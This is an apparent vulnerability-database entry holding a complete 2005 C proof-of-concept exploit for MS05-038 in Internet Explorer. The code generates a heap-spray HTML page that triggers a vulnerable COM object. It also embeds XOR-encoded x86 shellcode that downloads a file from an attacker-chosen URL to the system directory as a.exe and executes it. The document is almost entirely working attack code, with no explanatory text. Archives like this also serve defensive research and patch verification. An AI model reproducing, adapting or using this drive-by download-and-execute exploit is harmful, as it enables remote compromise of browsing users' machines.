MS Internet Explorer COM Objects File Download Exploit (MS05-038)

2008-07-17T00:00:00
ID SSV:9127
Type seebug
Reporter Root
Modified 2008-07-17T00:00:00

Description

No description provided by source.

                                        
                                            
                                                /*+++++++++++++++++++++++++++++++++++++++++++++++
     Ms05 038 exploit POC
       Write By ZwelL
         2005 8 11
 http://www.donews.net/zwell
           zwell@sohu.com

Some code belongs to Lion(cnhonker), regards to him.
This code tested on Windows 2003
-----------------------------------------------*/

#include <stdio.h>
#include <winsock2.h>

#pragma comment(lib, "ws2_32")

// Use for find the ASM code
#define PROC_BEGIN                     __asm _emit 0x90 __asm  _emit 0x90\
                                      __asm _emit 0x90 __asm  _emit 0x90\
                                      __asm _emit 0x90 __asm  _emit 0x90\
                                      __asm _emit 0x90 __asm  _emit 0x90
#define PROC_END                       PROC_BEGIN
#define SEARCH_STR                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
#define SEARCH_LEN                     8
#define MAX_SC_LEN                     2048
#define HASH_KEY                       13

// Define Decode Parameter
#define DECODE_LEN                     21
#define SC_LEN_OFFSET                  7
#define ENC_KEY_OFFSET                 11
#define ENC_KEY                        0xff


// Define Function Addr
#define ADDR_LoadLibraryA              [esi]
#define ADDR_GetSystemDirectoryA       [esi+4]
#define ADDR_WinExec                   [esi+8]
#define ADDR_ExitProcess               [esi+12]
#define ADDR_URLDownloadToFileA        [esi+16]

// Need functions
unsigned char functions[100][128] =
{                                           // [esi] stack layout
   // kernel32 4                           // 00 kernel32.dll
   {"LoadLibraryA"},                       //    [esi]
   {"GetSystemDirectoryA"},                //    [esi+4]
   {"WinExec"},                            //    [esi+8]
   {"ExitProcess"},                        //    [esi+12]
   // urlmon  1                            // 01 urlmon.dll
   {"URLDownloadToFileA"},                 //    [esi+16]
   {""},
};

// Shellcode string
unsigned char  sc[1024] = {0};
unsigned int   Sc_len;

char *htmlbody1=
"<html><body>\r\n"
"<SCRIPT language=\"javascript\">\r\n"
"shellcode = unescape(\"%u4343%u4343\"+\"";

char *htmlbody2=
"\");\r\n"
"bigblock = unescape(\"%u0D0D%u0D0D\");\r\n"
"headersize = 20;\r\n"
"slackspace = headersize+shellcode.length;\r\n"
"while (bigblock.length<slackspace) bigblock+=bigblock;\r\n"
"fillblock = bigblock.substring(0, slackspace);\r\n"
"block = bigblock.substring(0, bigblock.length-slackspace);\r\n"
"while(block.length+slackspace<0x40000) block = block+block+fillblock;\r\n"
"memory = new Array();\r\n"
"for (i=0;i<750;i++) memory[i] = block + shellcode;\r\n"
"</SCRIPT>\r\n"
"<object classid=\"CLSID:083863F1-70DE-11d0-BD40-00A0C911CE86\"></object>\r\n"
"Ms05038 Exploit POC<br>\r\n"
"Made By ZwelL< http://www.donews.net/zwell>\r\n"
"</html>";

// ASM shellcode main function
void    ShellCode();

// Get function hash
static DWORD __stdcall GetHash ( char *c )
{
   DWORD h = 0;

   while ( *c )
   {
       __asm ror h, HASH_KEY

       h += *c++;
   }
   return( h );
}

int buildfile(unsigned char *sc, int len)
{
       int i;
       char writebuf[4096];
       char tmp[4096];
       FILE *stream;

       memset(tmp, 0, 4096);
       memset(writebuf, 0, 4096);
       for(i = 0; i < len; i++)
   {
               sprintf(writebuf, "%s%.2x", writebuf, sc[i] & 0xff);
       }

   if(strlen(writebuf)%4!=0)
       strcat(writebuf, "00");

   for(i=0; i<(strlen(writebuf)/4); i++)
   {
               strcat(tmp, "\%u");
               strncat(tmp, &writebuf[i*4+2], 2);
               strncat(tmp, &writebuf[i*4], 2);
   }

       //printf("%s\n", writebuf);
       //printf("======================\n%s\n", tmp);

       if( (stream = fopen( "zwell_ms05038.html", "w+b" )) != NULL )
       {
               fwrite(htmlbody1, strlen(htmlbody1), 1, stream);
               fwrite( tmp, strlen(tmp), 1, stream );
               fwrite(htmlbody2, strlen(htmlbody2), 1, stream);
               fclose(stream);
       }
       else
       {
               printf("fopen wrong\n");
               exit(0);
       }
       return 0;
}

void Make_ShellCode(char *url1)
{
   unsigned char  *pSc_addr;
   unsigned int   Enc_key=ENC_KEY;
   unsigned long  dwHash[100];
   unsigned int   dwHashSize;
   int i,j,k,l;


   // Get functions hash
   //printf("[+] Get functions hash strings.\r\n");
   for (i=0;;i++)
   {
       if (functions[i][0] == '\x0') break;

       dwHash[i] = GetHash((char*)functions[i]);
       //printf("\t%.8X\t%s\n", dwHash[i], functions[i]);
   }
   dwHashSize = i*4;


   // Deal with shellcode
   pSc_addr = (unsigned char *)ShellCode;

   for (k=0;k<MAX_SC_LEN;++k )
   {
       if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0)
       {
           break;
       }
   }
   pSc_addr+=(k+SEARCH_LEN);               // Start of the ShellCode

   for (k=0;k<MAX_SC_LEN;++k)
   {
       if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) {
           break;
       }
   }
   Sc_len=k;                               // Length of the ShellCode

   memcpy(sc, pSc_addr, Sc_len);           // Copy shellcode to sc[]


   // Add functions hash
   memcpy(sc+Sc_len, (char *)dwHash, dwHashSize);
   Sc_len += dwHashSize;

   // Add url
   memcpy(sc+Sc_len, url1, strlen(url1)+1);
   Sc_len += strlen(url1)+1;

   // Deal with find the right XOR byte
   for(i=0xff; i>0; i--)
   {
       l = 0;
       for(j=DECODE_LEN; j<Sc_len; j++)
       {
           if (
                  ((sc[j] ^ i) == 0x26) || //%
                  ((sc[j] ^ i) == 0x3d) || //=
                  ((sc[j] ^ i) == 0x3f) || //?
                  ((sc[j] ^ i) == 0x40) || //@
                  ((sc[j] ^ i) == 0x00) ||
                  ((sc[j] ^ i) == 0x0D) ||
                  ((sc[j] ^ i) == 0x0A)
               )                           // Define Bad Characters
           {
               l++;                        // If found the right XOR byte,l equals 0
               break;
           };
       }

       if (l==0)
       {
           Enc_key = i;

           //printf("[+] Find XOR Byte: 0x%02X\n", i);
           for(j=DECODE_LEN; j<Sc_len; j++)
           {
               sc[j] ^= Enc_key;
           }

           break;                          // If found the right XOR byte, Break
       }
   }

   // Deal with not found XOR byte
   if (l!=0)
  {
       printf("[-] No xor byte found!\r\n");
       exit(-1);
   }

   // Deal with DeCode string
   *(unsigned char *)&sc[SC_LEN_OFFSET] = Sc_len;
   *(unsigned char *)&sc[ENC_KEY_OFFSET] = Enc_key;

   printf("[+] download url:%s\n", url1);
}

int help()
{
       printf("Usage : ms05038.exe url [-t] \n");
       printf("    the 't' option will let you test for the shellcode first\n");
       exit(0);
}

void main(int argc, char **argv)
{
   WSADATA        wsa;
       unsigned char url[255]={0};
       BOOL b_test;

   printf("\n========================================\n");
       printf("Ms05-038 exploit POC\n");
       printf("Write By Zwell\n");
       printf("2005-8-11\n");
       printf("http://www.donews.net/zwell\n");
       printf("zwell@sohu.com\n");
       printf("========================================\n\n");
       b_test=FALSE;
       if(argc<2)
               help();

       strncpy(url, argv[1], 255);

       if(argc == 3)
               if(!strcmp(argv[2], "-t"))
                       b_test = TRUE;

   WSAStartup(MAKEWORD(2,2),&wsa);

   Make_ShellCode(url);
       printf("[+] Build shellcode successful\n");
       buildfile(sc, Sc_len);
       printf("[+] Build file successful\n");
       printf("Now, you can open the builded file(zwell_ms05038.html) with IE to see the result.Good Luck ^_^\n");


       if(b_test)
       {
               printf("Testing the shellcode...\n");
               ((void (*)(void)) &sc)();
       }
   return;
}

// ShellCode function
void ShellCode()
{
   __asm
   {
       PROC_BEGIN                          // C macro to begin proc
//--------------------------------------------------------------------
//
// DeCode
//
//--------------------------------------------------------------------
       jmp     short decode_end

decode_start:
       pop     ebx                         // Decode start addr (esp -> ebx)
       dec     ebx
       xor     ecx,ecx
       mov     cl,0xFF                     // Decode len

   decode_loop:
       xor     byte ptr [ebx+ecx],ENC_KEY     // Decode key
       loop    decode_loop
       jmp     short decode_ok

decode_end:
       call    decode_start

decode_ok:

//--------------------------------------------------------------------
//
// ShellCode
//
//--------------------------------------------------------------------
       jmp     sc_end

sc_start:
       pop     edi                         // Hash string start addr (esp -> edi)

       // Get kernel32.dll base addr
       mov     eax, fs:0x30                // PEB
       mov     eax, [eax+0x0c]             // PROCESS_MODULE_INFO
       mov     esi, [eax+0x1c]             // InInitOrder.flink
       lodsd                               // eax = InInitOrder.blink
       mov     ebp, [eax+8]                // ebp = kernel32.dll base address

       mov     esi, edi                    // Hash string start addr -> esi

       // Get function addr of kernel32
       push    4
       pop     ecx

   getkernel32:
       call    GetProcAddress_fun
       loop    getkernel32

       // Get function addr of urlmon
       push    0x00006e6f
       push    0x6d6c7275                 // urlmon
       push    esp
       call    ADDR_LoadLibraryA          // LoadLibraryA("urlmon");

       mov     ebp, eax                   // ebp = urlmon.dll base address

/*
       push    1
       pop     ecx

   geturlmon:
       call    GetProcAddress_fun
       loop    geturlmon
*/
       call    GetProcAddress_fun

       // url start addr = edi

//LGetSystemDirectoryA:
       sub     esp, 0x20
       mov     ebx, esp

       push    0x20
       push    ebx
       call   ADDR_GetSystemDirectoryA     // GetSystemDirectoryA

//LURLDownloadToFileA:
       // eax = system path size
       // URLDownloadToFileA url save to a.exe
       mov     dword ptr [ebx+eax], 0x652E615C           // "\a.e"
       mov     dword ptr [ebx+eax+0x4], 0x00006578       // "xe"
       xor     eax, eax
       push    eax
       push    eax
       push    ebx                         // %systemdir%\a.exe
       push    edi                         // url
       push    eax
       call    ADDR_URLDownloadToFileA     // URLDownloadToFileA

//LWinExec:
               mov     ebx, esp
               push    eax
               push    ebx
               call    ADDR_WinExec                // WinExec(%systemdir%\a.exe);

Finished:
       //push    1
       call    ADDR_ExitProcess            // ExitProcess();

GetProcAddress_fun:
       push    ecx
       push    esi

       mov     esi, [ebp+0x3C]             // e_lfanew
       mov     esi, [esi+ebp+0x78]         // ExportDirectory RVA
       add     esi, ebp                    // rva2va
       push    esi
       mov     esi, [esi+0x20]              // AddressOfNames RVA
       add     esi, ebp                    // rva2va
       xor     ecx, ecx
       dec     ecx

   find_start:
       inc     ecx
       lodsd
       add     eax, ebp
       xor     ebx, ebx

   hash_loop:
       movsx   edx, byte ptr [eax]
       cmp     dl, dh
       jz      short find_addr
       ror     ebx, HASH_KEY               // hash key
       add     ebx, edx
       inc     eax
       jmp     short hash_loop

   find_addr:
       cmp     ebx, [edi]                  // compare to hash
       jnz     short find_start
       pop     esi                         // ExportDirectory
       mov     ebx, [esi+0x24]             // AddressOfNameOrdinals RVA
       add     ebx, ebp                    // rva2va
       mov     cx, [ebx+ecx*2]             // FunctionOrdinal
       mov     ebx, [esi+0x1C]             // AddressOfFunctions RVA
       add     ebx, ebp                    // rva2va
       mov     eax, [ebx+ecx*4]            // FunctionAddress RVA
       add     eax, ebp                    // rva2va
       stosd                               // function address save to [edi]

       pop     esi
       pop     ecx
       ret

sc_end:
       call sc_start

       PROC_END                            //C macro to end proc
   }
}